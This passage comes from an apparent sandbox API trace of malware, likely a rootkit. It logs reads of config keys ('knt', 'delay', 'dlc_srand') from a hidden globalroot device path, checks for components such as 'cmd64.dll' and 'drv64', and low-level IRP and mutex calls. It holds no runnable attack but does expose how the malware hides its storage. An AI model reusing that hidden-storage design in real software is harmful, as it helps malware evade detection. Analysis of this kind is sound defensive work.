_Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.187] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.187] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.187] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.187] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.187] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.187] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.187] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.187] KeLeaveCriticalRegion () [0119.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.187] ReleaseMutex (hMutex=0x100) returned 1 [0119.188] Sleep (dwMilliseconds=0x2bf20) [0119.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a3e8230, dwHighDateTime=0x1d24fa4)) [0119.194] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.194] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.194] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.194] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.194] KeEnterCriticalRegion () [0119.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.194] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.194] IdePortDispatch () returned 0x103 [0119.194] KeWaitForMutexObject () returned 0x0 [0119.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.194] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.194] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.194] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.194] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.194] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca370 [0119.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.194] KeLeaveCriticalRegion () [0119.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.195] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.195] KeEnterCriticalRegion () [0119.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.195] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.195] KeLeaveCriticalRegion () [0119.195] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.195] KeEnterCriticalRegion () [0119.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.195] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.195] IdePortDispatch () returned 0x103 [0119.195] KeWaitForMutexObject () returned 0x0 [0119.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.195] KeLeaveCriticalRegion () [0119.195] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.195] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.195] KeEnterCriticalRegion () [0119.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0119.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.195] IdePortDispatch () returned 0x103 [0119.195] KeWaitForMutexObject () returned 0x0 [0119.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.196] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.196] IdePortDispatch () returned 0x103 [0119.196] KeWaitForMutexObject () returned 0x0 [0119.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.196] KeLeaveCriticalRegion () [0119.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.196] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.196] KeEnterCriticalRegion () [0119.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.196] KeLeaveCriticalRegion () [0119.196] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.196] KeEnterCriticalRegion () [0119.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.196] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.196] KeLeaveCriticalRegion () [0119.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.197] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.197] KeEnterCriticalRegion () [0119.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.197] ExFreePoolWithTag (P=0xfffffa80039ca370, Tag=0x0) [0119.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.197] KeLeaveCriticalRegion () [0119.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.197] ReleaseMutex (hMutex=0xf0) returned 1 [0119.197] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.197] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.197] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.197] KeEnterCriticalRegion () [0119.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.197] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.197] IdePortDispatch () returned 0x103 [0119.197] KeWaitForMutexObject () returned 0x0 [0119.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcef60 [0119.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] KeLeaveCriticalRegion () [0119.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.198] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.198] KeEnterCriticalRegion () [0119.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] KeLeaveCriticalRegion () [0119.198] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.198] KeEnterCriticalRegion () [0119.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.198] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.198] IdePortDispatch () returned 0x103 [0119.198] KeWaitForMutexObject () returned 0x0 [0119.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] KeLeaveCriticalRegion () [0119.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.198] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.198] KeEnterCriticalRegion () [0119.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c81000 [0119.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.198] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.198] IdePortDispatch () returned 0x103 [0119.198] KeWaitForMutexObject () returned 0x0 [0119.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.199] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.199] IdePortDispatch () returned 0x103 [0119.199] KeWaitForMutexObject () returned 0x0 [0119.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.199] KeLeaveCriticalRegion () [0119.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.199] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.199] KeEnterCriticalRegion () [0119.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.199] KeLeaveCriticalRegion () [0119.199] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.199] KeEnterCriticalRegion () [0119.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.199] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.200] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] KeLeaveCriticalRegion () [0119.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.200] KeEnterCriticalRegion () [0119.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] ExFreePoolWithTag (P=0xfffffa8003bcef60, Tag=0x0) [0119.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] KeLeaveCriticalRegion () [0119.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.200] ReleaseMutex (hMutex=0xf0) returned 1 [0119.200] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.200] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.200] KeEnterCriticalRegion () [0119.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.200] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.200] IdePortDispatch () returned 0x103 [0119.200] KeWaitForMutexObject () returned 0x0 [0119.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.200] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.200] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.200] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.200] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.200] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb690 [0119.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] KeLeaveCriticalRegion () [0119.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.200] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.200] KeEnterCriticalRegion () [0119.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.200] KeLeaveCriticalRegion () [0119.201] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.201] KeEnterCriticalRegion () [0119.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.201] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.201] IdePortDispatch () returned 0x103 [0119.201] KeWaitForMutexObject () returned 0x0 [0119.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.201] KeLeaveCriticalRegion () [0119.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.201] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.201] KeEnterCriticalRegion () [0119.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c82000 [0119.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.201] IdePortDispatch () returned 0x103 [0119.201] KeWaitForMutexObject () returned 0x0 [0119.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.201] IdePortDispatch () returned 0x103 [0119.202] KeWaitForMutexObject () returned 0x0 [0119.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] KeLeaveCriticalRegion () [0119.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.202] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.202] KeEnterCriticalRegion () [0119.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] KeLeaveCriticalRegion () [0119.202] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.202] KeEnterCriticalRegion () [0119.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] KeLeaveCriticalRegion () [0119.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.202] KeEnterCriticalRegion () [0119.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] ExFreePoolWithTag (P=0xfffffa8003bdb690, Tag=0x0) [0119.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.202] KeLeaveCriticalRegion () [0119.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.203] ReleaseMutex (hMutex=0xf0) returned 1 [0119.203] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.203] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.203] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.203] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.203] KeEnterCriticalRegion () [0119.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.203] MmProbeAndLockPages (in: 